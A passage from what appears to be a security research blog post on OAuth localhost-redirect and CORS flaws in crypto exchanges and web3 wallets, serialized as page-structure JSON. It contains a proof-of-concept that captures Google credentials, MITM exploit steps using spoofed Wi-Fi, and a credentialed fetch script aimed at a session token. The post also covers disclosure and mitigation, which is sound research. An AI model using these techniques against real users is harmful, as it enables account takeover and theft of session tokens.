}\n                    }\n                }\n            }\n        }.start(wait = true)\n    }\n",[103075],{"type":21,"tag":78,"props":103076,"children":103077},{"__ignoreMap":7},[103078,103105,103124,103131,103150,103161,103172,103203,103226,103273,103280,103287,103294,103334,103345,103352,103359,103378,103401,103412,103431,103446,103457,103477,103488,103505,103531,103555,103562,103573,103585,103598,103606,103614,103621,103628,103636,103644,103652,103660,103668,103676,103684,103691,103698,103706,103714,103722,103729,103736,103744,103751,103772,103780,103787,103794,103805,103829,103841,103858,103865,103872,103880,103888,103896,103924],{"type":21,"tag":153,"props":103079,"children":103080},{"class":155,"line":156},[103081,103085,103089,103093,103097,103101],{"type":21,"tag":153,"props":103082,"children":103083},{"style":170},[103084],{"type":26,"value":72739},{"type":21,"tag":153,"props":103086,"children":103087},{"style":170},[103088],{"type":26,"value":8936},{"type":21,"tag":153,"props":103090,"children":103091},{"style":181},[103092],{"type":26,"value":72748},{"type":21,"tag":153,"props":103094,"children":103095},{"style":160},[103096],{"type":26,"value":72753},{"type":21,"tag":153,"props":103098,"children":103099},{"style":214},[103100],{"type":26,"value":72758},{"type":21,"tag":153,"props":103102,"children":103103},{"style":160},[103104],{"type":26,"value":72763},{"type":21,"tag":153,"props":103106,"children":103107},{"class":155,"line":166},[103108,103112,103116,103120],{"type":21,"tag":153,"props":103109,"children":103110},{"style":170},[103111],{"type":26,"value":72771},{"type":21,"tag":153,"props":103113,"children":103114},{"style":160},[103115],{"type":26,"value":355},{"type":21,"tag":153,"props":103117,"children":103118},{"style":181},[103119],{"type":26,"value":72780},{"type":21,"tag":153,"props":103121,"children":103122},{"style":160},[103123],{"type":26,"value":72785},{"type":21,"tag":153,"props":103125,"children":103126},{"class":155,"line":225},[103127],{"type":21,"tag":153,"props":103128,"children":103129},{"emptyLinePlaceholder":16},[103130],{"type":26,"value":759},{"type":21,"tag":153,"props":103132,"children":103133},{"class":155,"line":239},[103134,103138,103142,103146],{"type":21,"tag":153,"props":103135,"children":103136},{"style":181},[103137],{"type":26,"value":72808},{"type":21,"tag":153,"props":103139,"children":103140},{"style":160},[103141],{"type":26,"value":72813},{"type":21,"tag":153,"props":103143,"children":103144},{"style":181},[103145],{"type":26,"value":72818},{"type":21,"tag":153,"props":103147,"children":103148},{"style":160},[103149],{"type":26,"value":236},{"type":21,"tag":153,"props":103151,"children":103152},{"class":155,"line":382},[103153,103157],{"type":21,"tag":153,"props":103154,"children":103155},{"style":1751},[103156],{"type":26,"value":72830},{"type":21,"tag":153,"props":103158,"children":103159},{"style":160},[103160],{"type":26,"value":236},{"type":21,"tag":153,"props":103162,"children":103163},{"class":155,"line":501},[103164,103168],{"type":21,"tag":153,"props":103165,"children":103166},{"style":181},[103167],{"type":26,"value":72842},{"type":21,"tag":153,"props":103169,"children":103170},{"style":160},[103171],{"type":26,"value":10462},{"type":21,"tag":153,"props":103173,"children":103174},{"class":155,"line":533},[103175,103179,103183,103187,103191,103195,103199],{"type":21,"tag":153,"props":103176,"children":103177},{"style":160},[103178],{"type":26,"value":72854},{"type":21,"tag":153,"props":103180,"children":103181},{"style":181},[103182],{"type":26,"value":72859},{"type":21,"tag":153,"props":103184,"children":103185},{"style":160},[103186],{"type":26,"value":189},{"type":21,"tag":153,"props":103188,"children":103189},{"style":671},[103190],{"type":26,"value":72868},{"type":21,"tag":153,"props":103192,"children":103193},{"style":160},[103194],{"type":26,"value":1670},{"type":21,"tag":153,"props":103196,"children":103197},{"style":671},[103198],{"type":26,"value":72877},{"type":21,"tag":153,"props":103200,"children":103201},{"style":160},[103202],{"type":26,"value":5909},{"type":21,"tag":153,"props":103204,"children":103205},{"class":155,"line":542},[103206,103210,103214,103218,103222],{"type":21,"tag":153,"props":103207,"children":103208},{"style":160},[103209],{"type":26,"value":72889},{"type":21,"tag":153,"props":103211,"children":103212},{"style":170},[103213],{"type":26,"value":50701},{"type":21,"tag":153,"props":103215,"children":103216},{"style":160},[103217],{"type":26,"value":72898},{"type":21,"tag":153,"props":103219,"children":103220},{"style":214},[103221],{"type":26,"value":72903},{"type":21,"tag":153,"props":103223,"children":103224},{"style":160},[103225],{"type":26,"value":2659},{"type":21,"tag":153,"props":103227,"children":103228},{"class":155,"line":762},[103229,103233,103237,103241,103245,103249,103253,103257,103261,103265,103269],{"type":21,"tag":153,"props":103230,"children":103231},{"style":160},[103232],{"type":26,"value":72854},{"type":21,"tag":153,"props":103234,"children":103235},{"style":181},[103236],{"type":26,"value":53745},{"type":21,"tag":153,"props":103238,"children":103239},{"style":160},[103240],{"type":26,"value":189},{"type":21,"tag":153,"props":103242,"children":103243},{"style":671},[103244],{"type":26,"value":72868},{"type":21,"tag":153,"props":103246,"children":103247},{"style":160},[103248],{"type":26,"value":1670},{"type":21,"tag":153,"props":103250,"children":103251},{"style":671},[103252],{"type":26,"value":72935},{"type":21,"tag":153,"props":103254,"children":103255},{"style":170},[103256],{"type":26,"value":36802},{"type":21,"tag":153,"props":103258,"children":103259},{"style":198},[103260],{"type":26,"value":72944},{"type":21,"tag":153,"props":103262,"children":103263},{"style":170},[103264],{"type":26,"value":36834},{"type":21,"tag":153,"props":103266,"children":103267},{"style":671},[103268],{"type":26,"value":22756},{"type":21,"tag":153,"props":103270,"children":103271},{"style":160},[103272],{"type":26,"value":72957},{"type":21,"tag":153,"props":103274,"children":103275},{"class":155,"line":776},[103276],{"type":21,"tag":153,"props":103277,"children":103278},{"style":160},[103279],{"type":26,"value":61177},{"type":21,"tag":153,"props":103281,"children":103282},{"class":155,"line":795},[103283],{"type":21,"tag":153,"props":103284,"children":103285},{"style":160},[103286],{"type":26,"value":2765},{"type":21,"tag":153,"props":103288,"children":103289},{"class":155,"line":808},[103290],{"type":21,"tag":153,"props":103291,"children":103292},{"emptyLinePlaceholder":16},[103293],{"type":26,"value":759},{"type":21,"tag":153,"props":103295,"children":103296},{"class":155,"line":820},[103297,103301,103305,103309,103313,103317,103321,103325,103330],{"type":21,"tag":153,"props":103298,"children":103299},{"style":170},[103300],{"type":26,"value":72994},{"type":21,"tag":153,"props":103302,"children":103303},{"style":160},[103304],{"type":26,"value":73020},{"type":21,"tag":153,"props":103306,"children":103307},{"style":198},[103308],{"type":26,"value":2367},{"type":21,"tag":153,"props":103310,"children":103311},{"style":181},[103312],{"type":26,"value":73029},{"type":21,"tag":153,"props":103314,"children":103315},{"style":160},[103316],{"type":26,"value":73034},{"type":21,"tag":153,"props":103318,"children":103319},{"style":181},[103320],{"type":26,"value":41903},{"type":21,"tag":153,"props":103322,"children":103323},{"style":160},[103324],{"type":26,"value":189},{"type":21,"tag":153,"props":103326,"children":103327},{"style":671},[103328],{"type":26,"value":103329},"\"http://localhost:3000\"",{"type":21,"tag":153,"props":103331,"children":103332},{"style":160},[103333],{"type":26,"value":2006},{"type":21,"tag":153,"props":103335,"children":103336},{"class":155,"line":842},[103337,103341],{"type":21,"tag":153,"props":103338,"children":103339},{"style":181},[103340],{"type":26,"value":73051},{"type":21,"tag":153,"props":103342,"children":103343},{"style":160},[103344],{"type":26,"value":73056},{"type":21,"tag":153,"props":103346,"children":103347},{"class":155,"line":3204},[103348],{"type":21,"tag":153,"props":103349,"children":103350},{"style":160},[103351],{"type":26,"value":539},{"type":21,"tag":153,"props":103353,"children":103354},{"class":155,"line":3230},[103355],{"type":21,"tag":153,"props":103356,"children":103357},{"emptyLinePlaceholder":16},[103358],{"type":26,"value":759},{"type":21,"tag":153,"props":103360,"children":103361},{"class":155,"line":3239},[103362,103366,103370,103374],{"type":21,"tag":153,"props":103363,"children":103364},{"style":170},[103365],{"type":26,"value":73078},{"type":21,"tag":153,"props":103367,"children":103368},{"style":170},[103369],{"type":26,"value":8936},{"type":21,"tag":153,"props":103371,"children":103372},{"style":181},[103373],{"type":26,"value":73087},{"type":21,"tag":153,"props":103375,"children":103376},{"style":160},[103377],{"type":26,"value":18433},{"type":21,"tag":153,"props":103379,"children":103380},{"class":155,"line":3253},[103381,103385,103389,103393,103397],{"type":21,"tag":153,"props":103382,"children":103383},{"style":181},[103384],{"type":26,"value":73099},{"type":21,"tag":153,"props":103386,"children":103387},{"style":160},[103388],{"type":26,"value":73104},{"type":21,"tag":153,"props":103390,"children":103391},{"style":198},[103392],{"type":26,"value":2367},{"type":21,"tag":153,"props":103394,"children":103395},{"style":300},[103396],{"type":26,"value":73113},{"type":21,"tag":153,"props":103398,"children":103399},{"style":160},[103400],{"type":26,"value":2659},{"type":21,"tag":153,"props":103402,"children":103403},{"class":155,"line":3301},[103404,103408],{"type":21,"tag":153,"props":103405,"children":103406},{"style":181},[103407],{"type":26,"value":73125},{"type":21,"tag":153,"props":103409,"children":103410},{"style":160},[103411],{"type":26,"value":236},{"type":21,"tag":153,"props":103413,"children":103414},{"class":155,"line":3346},[103415,103419,103423,103427],{"type":21,"tag":153,"props":103416,"children":103417},{"style":170},[103418],{"type":26,"value":73137},{"type":21,"tag":153,"props":103420,"children":103421},{"style":160},[103422],{"type":26,"value":189},{"type":21,"tag":153,"props":103424,"children":103425},{"style":671},[103426],{"type":26,"value":73146},{"type":21,"tag":153,"props":103428,"children":103429},{"style":160},[103430],{"type":26,"value":2659},{"type":21,"tag":153,"props":103432,"children":103433},{"class":155,"line":3355},[103434,103438,103442],{"type":21,"tag":153,"props":103435,"children":103436},{"style":160},[103437],{"type":26,"value":73158},{"type":21,"tag":153,"props":103439,"children":103440},{"style":181},[103441],{"type":26,"value":73163},{"type":21,"tag":153,"props":103443,"children":103444},{"style":160},[103445],{"type":26,"value":236},{"type":21,"tag":153,"props":103447,"children":103448},{"class":155,"line":3364},[103449,103453],{"type":21,"tag":153,"props":103450,"children":103451},{"style":181},[103452],{"type":26,"value":73175},{"type":21,"tag":153,"props":103454,"children":103455},{"style":160},[103456],{"type":26,"value":236},{"type":21,"tag":153,"props":103458,"children":103459},{"class":155,"line":3376},[103460,103464,103468,103473],{"type":21,"tag":153,"props":103461,"children":103462},{"style":181},[103463],{"type":26,"value":73252},{"type":21,"tag":153,"props":103465,"children":103466},{"style":160},[103467],{"type":26,"value":189},{"type":21,"tag":153,"props":103469,"children":103470},{"style":671},[103471],{"type":26,"value":103472},"\"Test\"",{"type":21,"tag":153,"props":103474,"children":103475},{"style":160},[103476],{"type":26,"value":5909},{"type":21,"tag":153,"props":103478,"children":103479},{"class":155,"line":3393},[103480,103484],{"type":21,"tag":153,"props":103481,"children":103482},{"style":181},[103483],{"type":26,"value":73318},{"type":21,"tag":153,"props":103485,"children":103486},{"style":160},[103487],{"type":26,"value":236},{"type":21,"tag":153,"props":103489,"children":103490},{"class":155,"line":3405},[103491,103496,103500],{"type":21,"tag":153,"props":103492,"children":103493},{"style":160},[103494],{"type":26,"value":103495},"                                src ",{"type":21,"tag":153,"props":103497,"children":103498},{"style":198},[103499],{"type":26,"value":2367},{"type":21,"tag":153,"props":103501,"children":103502},{"style":671},[103503],{"type":26,"value":103504}," \"https://accounts.google.com/gsi/client\"\n",{"type":21,"tag":153,"props":103506,"children":103507},{"class":155,"line":3427},[103508,103513,103518,103522,103526],{"type":21,"tag":153,"props":103509,"children":103510},{"style":160},[103511],{"type":26,"value":103512},"                                attributes[",{"type":21,"tag":153,"props":103514,"children":103515},{"style":671},[103516],{"type":26,"value":103517},"\"async\"",{"type":21,"tag":153,"props":103519,"children":103520},{"style":160},[103521],{"type":26,"value":11387},{"type":21,"tag":153,"props":103523,"children":103524},{"style":198},[103525],{"type":26,"value":2367},{"type":21,"tag":153,"props":103527,"children":103528},{"style":671},[103529],{"type":26,"value":103530}," \"\"\n",{"type":21,"tag":153,"props":103532,"children":103533},{"class":155,"line":3448},[103534,103538,103543,103547,103551],{"type":21,"tag":153,"props":103535,"children":103536},{"style":160},[103537],{"type":26,"value":103512},{"type":21,"tag":153,"props":103539,"children":103540},{"style":671},[103541],{"type":26,"value":103542},"\"defer\"",{"type":21,"tag":153,"props":103544,"children":103545},{"style":160},[103546],{"type":26,"value":11387},{"type":21,"tag":153,"props":103548,"children":103549},{"style":198},[103550],{"type":26,"value":2367},{"type":21,"tag":153,"props":103552,"children":103553},{"style":671},[103554],{"type":26,"value":103530},{"type":21,"tag":153,"props":103556,"children":103557},{"class":155,"line":3456},[103558],{"type":21,"tag":153,"props":103559,"children":103560},{"style":160},[103561],{"type":26,"value":73343},{"type":21,"tag":153,"props":103563,"children":103564},{"class":155,"line":3493},[103565,103569],{"type":21,"tag":153,"props":103566,"children":103567},{"style":181},[103568],{"type":26,"value":73318},{"type":21,"tag":153,"props":103570,"children":103571},{"style":160},[103572],{"type":26,"value":236},{"type":21,"tag":153,"props":103574,"children":103575},{"class":155,"line":3509},[103576,103581],{"type":21,"tag":153,"props":103577,"children":103578},{"style":181},[103579],{"type":26,"value":103580},"                                unsafe",{"type":21,"tag":153,"props":103582,"children":103583},{"style":160},[103584],{"type":26,"value":236},{"type":21,"tag":153,"props":103586,"children":103587},{"class":155,"line":3517},[103588,103593],{"type":21,"tag":153,"props":103589,"children":103590},{"style":198},[103591],{"type":26,"value":103592},"                                    +",{"type":21,"tag":153,"props":103594,"children":103595},{"style":671},[103596],{"type":26,"value":103597},"\"\"\"\n",{"type":21,"tag":153,"props":103599,"children":103600},{"class":155,"line":3526},[103601],{"type":21,"tag":153,"props":103602,"children":103603},{"style":671},[103604],{"type":26,"value":103605},"    function handleCredentialResponse(response) {\n",{"type":21,"tag":153,"props":103607,"children":103608},{"class":155,"line":3607},[103609],{"type":21,"tag":153,"props":103610,"children":103611},{"style":671},[103612],{"type":26,"value":103613},"      alert(\"credential: \" + response.credential);\n",{"type":21,"tag":153,"props":103615,"children":103616},{"class":155,"line":3615},[103617],{"type":21,"tag":153,"props":103618,"children":103619},{"style":671},[103620],{"type":26,"value":539},{"type":21,"tag":153,"props":103622,"children":103623},{"class":155,"line":3629},[103624],{"type":21,"tag":153,"props":103625,"children":103626},{"emptyLinePlaceholder":16},[103627],{"type":26,"value":759},{"type":21,"tag":153,"props":103629,"children":103630},{"class":155,"line":26297},[103631],{"type":21,"tag":153,"props":103632,"children":103633},{"style":671},[103634],{"type":26,"value":103635},"    window.onload = async function () {\n",{"type":21,"tag":153,"props":103637,"children":103638},{"class":155,"line":26330},[103639],{"type":21,"tag":153,"props":103640,"children":103641},{"style":671},[103642],{"type":26,"value":103643},"      const oauth_url = new URL(`https://accounts.google.com/o/oauth2/v2/auth/oauthchooseaccount?as=uolEFCMgoGJXBVuGdJja0XdzjrWqOE6iFaK1SBNY9Zk&client_id=redacted&scope=openid%20email%20profile&response_type=id_token&gsiwebsdk=gis_attributes&redirect_uri=http%3A%2F%2Flocalhost%3A3000&response_mode=form_post&origin=http%3A%2F%2Flocalhost%3A3000&display=popup&prompt=select_account&gis_params=ChFodHRwczovL2F6Yml0LmNvbRIRaHR0cHM6Ly9hemJpdC5jb20YByordW9sRUZDTWdvR0pYQlZ1R2RKamEwWGR6anJXcU9FNmlGYUsxU0JOWTlaazJINzE3OTQyNTg0NjQyLXVrb25tbDZkNXM0MjJrZWVpa2RmMTJwdnV1aG1sOWYyLmFwcHMuZ29vZ2xldXNlcmNvbnRlbnQuY29tOAFCQDI0NDlkNGMwMTI3NDQxNGRlMzg5YjFlYjE1MzFmYTAxYTdjM2M5MTFhOTMxNzIxNGJhZTFmODkzNjE2MzIxZDA&service=lso&o2v=1&flowName=GeneralOAuthFlow`);\n",{"type":21,"tag":153,"props":103645,"children":103646},{"class":155,"line":26338},[103647],{"type":21,"tag":153,"props":103648,"children":103649},{"style":671},[103650],{"type":26,"value":103651},"      const client_id = oauth_url.searchParams.get(\"client_id\");\n",{"type":21,"tag":153,"props":103653,"children":103654},{"class":155,"line":26346},[103655],{"type":21,"tag":153,"props":103656,"children":103657},{"style":671},[103658],{"type":26,"value":103659},"      google.accounts.id.initialize({\n",{"type":21,"tag":153,"props":103661,"children":103662},{"class":155,"line":26355},[103663],{"type":21,"tag":153,"props":103664,"children":103665},{"style":671},[103666],{"type":26,"value":103667},"        client_id: client_id,\n",{"type":21,"tag":153,"props":103669,"children":103670},{"class":155,"line":26431},[103671],{"type":21,"tag":153,"props":103672,"children":103673},{"style":671},[103674],{"type":26,"value":103675},"        callback: handleCredentialResponse,\n",{"type":21,"tag":153,"props":103677,"children":103678},{"class":155,"line":26464},[103679],{"type":21,"tag":153,"props":103680,"children":103681},{"style":671},[103682],{"type":26,"value":103683},"        auto_select: true\n",{"type":21,"tag":153,"props":103685,"children":103686},{"class":155,"line":26472},[103687],{"type":21,"tag":153,"props":103688,"children":103689},{"style":671},[103690],{"type":26,"value":10024},{"type":21,"tag":153,"props":103692,"children":103693},{"class":155,"line":26480},[103694],{"type":21,"tag":153,"props":103695,"children":103696},{"emptyLinePlaceholder":16},[103697],{"type":26,"value":759},{"type":21,"tag":153,"props":103699,"children":103700},{"class":155,"line":26517},[103701],{"type":21,"tag":153,"props":103702,"children":103703},{"style":671},[103704],{"type":26,"value":103705},"      google.accounts.id.renderButton(\n",{"type":21,"tag":153,"props":103707,"children":103708},{"class":155,"line":26530},[103709],{"type":21,"tag":153,"props":103710,"children":103711},{"style":671},[103712],{"type":26,"value":103713},"        document.getElementById(\"g_id_signin\"),\n",{"type":21,"tag":153,"props":103715,"children":103716},{"class":155,"line":26543},[103717],{"type":21,"tag":153,"props":103718,"children":103719},{"style":671},[103720],{"type":26,"value":103721},"        { theme: \"outline\", size: \"large\" }\n",{"type":21,"tag":153,"props":103723,"children":103724},{"class":155,"line":26556},[103725],{"type":21,"tag":153,"props":103726,"children":103727},{"style":671},[103728],{"type":26,"value":9495},{"type":21,"tag":153,"props":103730,"children":103731},{"class":155,"line":26610},[103732],{"type":21,"tag":153,"props":103733,"children":103734},{"emptyLinePlaceholder":16},[103735],{"type":26,"value":759},{"type":21,"tag":153,"props":103737,"children":103738},{"class":155,"line":26619},[103739],{"type":21,"tag":153,"props":103740,"children":103741},{"style":671},[103742],{"type":26,"value":103743},"      google.accounts.id.prompt();\n",{"type":21,"tag":153,"props":103745,"children":103746},{"class":155,"line":34974},[103747],{"type":21,"tag":153,"props":103748,"children":103749},{"style":671},[103750],{"type":26,"value":751},{"type":21,"tag":153,"props":103752,"children":103753},{"class":155,"line":34995},[103754,103759,103763,103768],{"type":21,"tag":153,"props":103755,"children":103756},{"style":671},[103757],{"type":26,"value":103758},"                                    \"\"\"",{"type":21,"tag":153,"props":103760,"children":103761},{"style":160},[103762],{"type":26,"value":355},{"type":21,"tag":153,"props":103764,"children":103765},{"style":181},[103766],{"type":26,"value":103767},"trimIndent",{"type":21,"tag":153,"props":103769,"children":103770},{"style":160},[103771],{"type":26,"value":10462},{"type":21,"tag":153,"props":103773,"children":103774},{"class":155,"line":83248},[103775],{"type":21,"tag":153,"props":103776,"children":103777},{"style":160},[103778],{"type":26,"value":103779},"                                }\n",{"type":21,"tag":153,"props":103781,"children":103782},{"class":155,"line":83261},[103783],{"type":21,"tag":153,"props":103784,"children":103785},{"style":160},[103786],{"type":26,"value":73343},{"type":21,"tag":153,"props":103788,"children":103789},{"class":155,"line":83269},[103790],{"type":21,"tag":153,"props":103791,"children":103792},{"style":160},[103793],{"type":26,"value":73273},{"type":21,"tag":153,"props":103795,"children":103796},{"class":155,"line":83277},[103797,103801],{"type":21,"tag":153,"props":103798,"children":103799},{"style":181},[103800],{"type":26,"value":73281},{"type":21,"tag":153,"props":103802,"children":103803},{"style":160},[103804],{"type":26,"value":236},{"type":21,"tag":153,"props":103806,"children":103807},{"class":155,"line":83285},[103808,103812,103816,103820,103825],{"type":21,"tag":153,"props":103809,"children":103810},{"style":181},[103811],{"type":26,"value":73293},{"type":21,"tag":153,"props":103813,"children":103814},{"style":160},[103815],{"type":26,"value":12308},{"type":21,"tag":153,"props":103817,"children":103818},{"style":198},[103819],{"type":26,"value":4099},{"type":21,"tag":153,"props":103821,"children":103822},{"style":671},[103823],{"type":26,"value":103824},"\"Login here:\"",{"type":21,"tag":153,"props":103826,"children":103827},{"style":160},[103828],{"type":26,"value":12318},{"type":21,"tag":153,"props":103830,"children":103831},{"class":155,"line":83325},[103832,103837],{"type":21,"tag":153,"props":103833,"children":103834},{"style":181},[103835],{"type":26,"value":103836},"                            div",{"type":21,"tag":153,"props":103838,"children":103839},{"style":160},[103840],{"type":26,"value":236},{"type":21,"tag":153,"props":103842,"children":103843},{"class":155,"line":83333},[103844,103849,103853],{"type":21,"tag":153,"props":103845,"children":103846},{"style":160},[103847],{"type":26,"value":103848},"                                id ",{"type":21,"tag":153,"props":103850,"children":103851},{"style":198},[103852],{"type":26,"value":2367},{"type":21,"tag":153,"props":103854,"children":103855},{"style":671},[103856],{"type":26,"value":103857}," \"g_id_signin\"\n",{"type":21,"tag":153,"props":103859,"children":103860},{"class":155,"line":90520},[103861],{"type":21,"tag":153,"props":103862,"children":103863},{"style":160},[103864],{"type":26,"value":73343},{"type":21,"tag":153,"props":103866,"children":103867},{"class":155,"line":90528},[103868],{"type":21,"tag":153,"props":103869,"children":103870},{"style":160},[103871],{"type":26,"value":73273},{"type":21,"tag":153,"props":103873,"children":103875},{"class":155,"line":103874},62,[103876],{"type":21,"tag":153,"props":103877,"children":103878},{"style":160},[103879],{"type":26,"value":73358},{"type":21,"tag":153,"props":103881,"children":103883},{"class":155,"line":103882},63,[103884],{"type":21,"tag":153,"props":103885,"children":103886},{"style":160},[103887],{"type":26,"value":73366},{"type":21,"tag":153,"props":103889,"children":103891},{"class":155,"line":103890},64,[103892],{"type":21,"tag":153,"props":103893,"children":103894},{"style":160},[103895],{"type":26,"value":61177},{"type":21,"tag":153,"props":103897,"children":103899},{"class":155,"line":103898},65,[103900,103904,103908,103912,103916,103920],{"type":21,"tag":153,"props":103901,"children":103902},{"style":160},[103903],{"type":26,"value":73381},{"type":21,"tag":153,"props":103905,"children":103906},{"style":181},[103907],{"type":26,"value":73386},{"type":21,"tag":153,"props":103909,"children":103910},{"style":160},[103911],{"type":26,"value":73391},{"type":21,"tag":153,"props":103913,"children":103914},{"style":198},[103915],{"type":26,"value":2367},{"type":21,"tag":153,"props":103917,"children":103918},{"style":170},[103919],{"type":26,"value":15187},{"type":21,"tag":153,"props":103921,"children":103922},{"style":160},[103923],{"type":26,"value":5909},{"type":21,"tag":153,"props":103925,"children":103927},{"class":155,"line":103926},66,[103928],{"type":21,"tag":153,"props":103929,"children":103930},{"style":160},[103931],{"type":26,"value":539},{"type":21,"tag":22,"props":103933,"children":103934},{},[103935],{"type":26,"value":103936},"We also reported this vulnerability to the Web3Auth mobile SDK, Slush Wallet, Kukai Wallet, and several other web3 platforms. As mentioned earlier, this issue could have allowed account takeover with zero user interaction if the user had installed an application that exploited the localhost redirect.",{"type":21,"tag":22,"props":103938,"children":103939},{},[103940],{"type":26,"value":103941},"Each team responded promptly, communicated clearly, and shipped fixes quickly. Their diligence set a strong example for coordinated response and helped ensure user security across the ecosystem.",{"type":21,"tag":114,"props":103943,"children":103945},{"id":103944},"how-to-mitigate",[103946],{"type":26,"value":103947},"How to Mitigate",{"type":21,"tag":22,"props":103949,"children":103950},{},[103951],{"type":26,"value":103952},"The proper way to mitigate this issue is to disallow localhost in the live environment. Developers should have a separate staging OAuth environment with a different client ID for testing purposes. It's important to ensure that tokens generated using the test client ID are not valid in the live environment.",{"type":21,"tag":66,"props":103954,"children":103956},{"id":103955},"exploiting-cors",[103957],{"type":26,"value":103958},"Exploiting CORS",{"type":21,"tag":22,"props":103960,"children":103961},{},[103962],{"type":26,"value":103963},"Another bug we found during our research was related to CORS misconfiguration and how different browsers handle mixed content requests.",{"type":21,"tag":22,"props":103965,"children":103966},{},[103967,103969,103975],{"type":26,"value":103968},"While checking for other bugs in exchanges, we found a CORS (Cross-Origin Resource Sharing) configuration allowing credentials and ",{"type":21,"tag":78,"props":103970,"children":103972},{"className":103971},[],[103973],{"type":26,"value":103974},"http://",{"type":26,"value":103976}," schema for any subdomain:",{"type":21,"tag":143,"props":103978,"children":103982},{"className":103979,"code":103980,"language":103981,"meta":7,"style":7},"language-http shiki shiki-themes slack-dark","HTTP 200 OK\nAccess-Control-Allow-Origin: http://aa.exchange.com\nAccess-Control-Allow-Credentials: true\n[...]\n","http",[103983],{"type":21,"tag":78,"props":103984,"children":103985},{"__ignoreMap":7},[103986,103994,104002,104010],{"type":21,"tag":153,"props":103987,"children":103988},{"class":155,"line":156},[103989],{"type":21,"tag":153,"props":103990,"children":103991},{},[103992],{"type":26,"value":103993},"HTTP 200 OK\n",{"type":21,"tag":153,"props":103995,"children":103996},{"class":155,"line":166},[103997],{"type":21,"tag":153,"props":103998,"children":103999},{},[104000],{"type":26,"value":104001},"Access-Control-Allow-Origin: http://aa.exchange.com\n",{"type":21,"tag":153,"props":104003,"children":104004},{"class":155,"line":225},[104005],{"type":21,"tag":153,"props":104006,"children":104007},{},[104008],{"type":26,"value":104009},"Access-Control-Allow-Credentials: true\n",{"type":21,"tag":153,"props":104011,"children":104012},{"class":155,"line":239},[104013],{"type":21,"tag":153,"props":104014,"children":104015},{},[104016],{"type":26,"value":13038},{"type":21,"tag":114,"props":104018,"children":104020},{"id":104019},"cors-misconfiguration-by-lack-of-tls",[104021],{"type":26,"value":104022},"CORS Misconfiguration by Lack of TLS",{"type":21,"tag":22,"props":104024,"children":104025},{},[104026,104028,104034],{"type":26,"value":104027},"This case requires specific preconditions. The idea is to redirect the user to an insecure subdomain of ",{"type":21,"tag":78,"props":104029,"children":104031},{"className":104030},[],[104032],{"type":26,"value":104033},"exchange.com",{"type":26,"value":104035}," and spoof the response by intercepting and tampering with the victim's network packets.",{"type":21,"tag":22,"props":104037,"children":104038},{},[104039],{"type":26,"value":104040},"However, while testing it by simulating an MITM attack, we figured out that this type of attack behaves differently amongst the main browsers:",{"type":21,"tag":87,"props":104042,"children":104043},{},[104044,104064],{"type":21,"tag":91,"props":104045,"children":104046},{},[104047,104049,104054,104056,104062],{"type":26,"value":104048},"Chrome --> won't work because cookies are not sent in ",{"type":21,"tag":78,"props":104050,"children":104052},{"className":104051},[],[104053],{"type":26,"value":103974},{"type":26,"value":104055}," --> ",{"type":21,"tag":78,"props":104057,"children":104059},{"className":104058},[],[104060],{"type":26,"value":104061},"https://",{"type":26,"value":104063}," requests, even if same-site",{"type":21,"tag":91,"props":104065,"children":104066},{},[104067,104069],{"type":26,"value":104068},"Firefox and Safari --> works since cookies are sent from an insecure context ",{"type":21,"tag":78,"props":104070,"children":104072},{"className":104071},[],[104073],{"type":26,"value":40458},{"type":21,"tag":114,"props":104075,"children":104077},{"id":104076},"exploit-1",[104078],{"type":26,"value":102408},{"type":21,"tag":22,"props":104080,"children":104081},{},[104082],{"type":26,"value":104083},"To exploit it, we must follow some steps:",{"type":21,"tag":126,"props":104085,"children":104086},{},[104087,104092,104097],{"type":21,"tag":91,"props":104088,"children":104089},{},[104090],{"type":26,"value":104091},"Force the victim to enter an insecure webpage in the exchange subdomain",{"type":21,"tag":91,"props":104093,"children":104094},{},[104095],{"type":26,"value":104096},"Deliver the malicious script to the victim using MITM (Man-In-The-Middle)",{"type":21,"tag":91,"props":104098,"children":104099},{},[104100,104102,104107],{"type":26,"value":104101},"Use ",{"type":21,"tag":78,"props":104103,"children":104105},{"className":104104},[],[104106],{"type":26,"value":40458},{"type":26,"value":104108}," with CORS to do something malicious using the victim's account",{"type":21,"tag":22,"props":104110,"children":104111},{},[104112],{"type":26,"value":104113},"To exploit the CORS issue, an attacker must first get the victim to load an insecure subdomain. This can be achieved through techniques such as spoofing Wi-Fi or creating a fake public network that automatically opens the insecure page as the captive portal.",{"type":21,"tag":22,"props":104115,"children":104116},{},[104117,104119,104124],{"type":26,"value":104118},"Once the redirect to the ",{"type":21,"tag":78,"props":104120,"children":104122},{"className":104121},[],[104123],{"type":26,"value":103974},{"type":26,"value":104125}," website is made, if the attacker is in an adjacent network, it is possible to intercept the HTTP request/response (or DNS resolve) and tamper with the returning page. The returning page should have a malicious script that exploits the CORS misconfiguration:",{"type":21,"tag":143,"props":104127,"children":104129},{"className":34058,"code":104128,"language":34060,"meta":7,"style":7},"(async () => {\n  let res = await fetch('https://www.exchange.com/api/session_token', {\n    credentials: 'include',\n    method: 'POST',\n  });\n  console.log(await res.json());\n})();\n",[104130],{"type":21,"tag":78,"props":104131,"children":104132},{"__ignoreMap":7},[104133,104156,104193,104210,104227,104234,104275],{"type":21,"tag":153,"props":104134,"children":104135},{"class":155,"line":156},[104136,104140,104144,104148,104152],{"type":21,"tag":153,"props":104137,"children":104138},{"style":160},[104139],{"type":26,"value":189},{"type":21,"tag":153,"props":104141,"children":104142},{"style":170},[104143],{"type":26,"value":38838},{"type":21,"tag":153,"props":104145,"children":104146},{"style":160},[104147],{"type":26,"value":42388},{"type":21,"tag":153,"props":104149,"children":104150},{"style":170},[104151],{"type":26,"value":17524},{"type":21,"tag":153,"props":104153,"children":104154},{"style":160},[104155],{"type":26,"value":236},{"type":21,"tag":153,"props":104157,"children":104158},{"class":155,"line":166},[104159,104163,104168,104172,104176,104180,104184,104189],{"type":21,"tag":153,"props":104160,"children":104161},{"style":170},[104162],{"type":26,"value":10582},{"type":21,"tag":153,"props":104164,"children":104165},{"style":192},[104166],{"type":26,"value":104167}," 